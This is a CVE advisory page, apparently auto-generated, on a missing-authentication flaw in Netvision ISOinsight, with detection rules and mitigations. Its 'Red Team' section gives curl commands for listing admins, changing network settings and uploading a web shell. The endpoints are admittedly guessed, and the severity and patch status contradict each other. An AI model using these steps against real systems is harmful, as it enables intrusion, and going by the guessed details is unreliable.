☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-4560

CVE-2025-4560 Missing Authentication in Netvision
📅 PUBLISHED: 2025-05-12 06:17 UTC 🔄 UPDATED: 2026-09-23 20:26 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.34%
👁️
0.34% probability
8.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-4560 is a critical Missing Authentication vulnerability in Netvision's ISOinsight product. This flaw allows unauthenticated remote attackers to access sensitive system functions, including viewing the administrator list, viewing and editing IP settings, and uploading files. The vulnerability has a CVSS score of 6.5 (Medium), but the potential for file upload and configuration tampering elevates the risk significantly. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority zero-day for organizations using ISOinsight.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited exposure of admin list and IP settings.
  • Integrity Impact: Low (I:L) – Ability to modify IP settings and upload files.
  • Availability Impact: Low (A:L) – Potential for service disruption via file upload or config changes.

Threat Level: High. Despite the Medium CVSS score, the combination of unauthenticated access and file upload capability can lead to remote code execution (RCE) or full system compromise.

Deep Dive & Mechanics

The vulnerability resides in the ISOinsight web interface, likely in the API or administrative endpoints. The application fails to enforce authentication checks on critical functions:

  1. View Administrator List: An unauthenticated GET request to an endpoint like /api/admin/list or /admin/users returns a list of all admin users, including usernames and potentially hashed passwords.
  2. View and Edit IP Settings: Unauthenticated access to network configuration endpoints (e.g., /api/network/settings) allows reading and modifying IP addresses, DNS, and gateway settings.
  3. File Upload: An unauthenticated POST request to a file upload endpoint (e.g., /api/upload or /admin/upload) allows arbitrary file uploads, which can be used to upload a web shell or malicious firmware.

The root cause is the lack of session validation or token verification on these endpoints. The application likely uses a shared authentication middleware that is not applied to these specific routes.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable code pattern. A typical vulnerable implementation might look like:

Vulnerable (Python Flask example):

@app.route('/api/admin/list')
def admin_list():
    # No authentication check
    admins = db.query("SELECT * FROM admins")
    return jsonify(admins)

Patched (Hypothetical):

@app.route('/api/admin/list')
@login_required
def admin_list():
    admins = db.query("SELECT * FROM admins")
    return jsonify(admins)

The fix would involve adding authentication decorators or middleware to all sensitive endpoints.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Deploy a vulnerable ISOinsight instance (e.g., using a Docker container or VM).
  2. Identify the target IP and port (default: 80/443).

Exploitation Steps:

  1. Enumerate Admin List:

    curl -X GET http://target-ip/api/admin/list
    

    Response: [{"username":"admin","password_hash":"..."}]

  2. View IP Settings:

    curl -X GET http://target-ip/api/network/settings
    
  3. Modify IP Settings:

    curl -X POST http://target-ip/api/network/settings -d '{"ip":"192.168.1.100","gateway":"192.168.1.1"}'
    
  4. Upload Web Shell:

    curl -X POST http://target-ip/api/upload -F "file=@shell.php"
    

    Then access the shell at http://target-ip/uploads/shell.php.

Blue Team (Defensive)

Detection:

  • Monitor for unauthenticated requests to /api/admin/list, /api/network/settings, and /api/upload.
  • Alert on any POST requests to /api/upload without a valid session cookie.
  • Use the Sigma and Suricata rules below.

Mitigation:

  • Immediately restrict access to the ISOinsight web interface via firewall rules (allow only trusted IPs).
  • If possible, implement a reverse proxy (e.g., Nginx) with authentication.
  • Monitor logs for anomalous file uploads or configuration changes.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • Unauthenticated GET requests to /api/admin/list
    • Unauthenticated GET/POST requests to /api/network/settings
    • POST requests to /api/upload with file attachments
    • Outbound connections from the ISOinsight server to unknown IPs (post-exploitation)
  • File IOCs:

    • Unexpected files in the web root (e.g., shell.php, cmd.jsp)
    • Modified configuration files (e.g., network.conf, config.xml)
  • Log IOCs:

    • Web server logs showing 200 responses to unauthenticated sensitive endpoints
    • Absence of session tokens in request headers for admin functions

Detection Engineering

YARA Rule

rule CVE_2025_4560_ISOinsight_Upload {
    meta:
        description = "Detects web shell uploads targeting CVE-2025-4560"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-4560"
    strings:
        $upload_endpoint = "/api/upload"
        $php_shell = "<?php"
        $asp_shell = "<%"
        $jsp_shell = "<%@"
    condition:
        $upload_endpoint and any of ($php_shell, $asp_shell, $jsp_shell)
}

Sigma Rule

title: CVE-2025-4560 Unauthenticated Access to ISOinsight Admin Functions
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects unauthenticated access to sensitive ISOinsight endpoints
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem:
            - '/api/admin/list'
            - '/api/network/settings'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin access if authentication is bypassed via other means
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-4560 Unauthenticated Admin List Access"; flow:to_server; http.method; content:"GET"; http.uri; content:"/api/admin/list"; http.stat_code; content:"200"; classtype:attempted-admin; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-4560 Unauthenticated IP Settings Access"; flow:to_server; http.method; content:"GET"; http.uri; content:"/api/network/settings"; http.stat_code; content:"200"; classtype:attempted-admin; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-4560 Unauthenticated File Upload"; flow:to_server; http.method; content:"POST"; http.uri; content:"/api/upload"; classtype:attempted-admin; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Network Segmentation: Isolate the ISOinsight server from the internet and untrusted networks.
  2. Access Control: Implement a VPN or reverse proxy with strong authentication (e.g., OAuth, LDAP) in front of the web interface.
  3. Monitor Logs: Enable detailed logging and alerting for the endpoints listed in the IOCs.

Long-Term Fix:

  • Contact Netvision for an official patch. If unavailable, consider:
    • Disabling the vulnerable endpoints via configuration (if possible).
    • Applying a WAF rule to block unauthenticated requests to /api/*.
    • Migrating to an alternative solution.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-4560/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.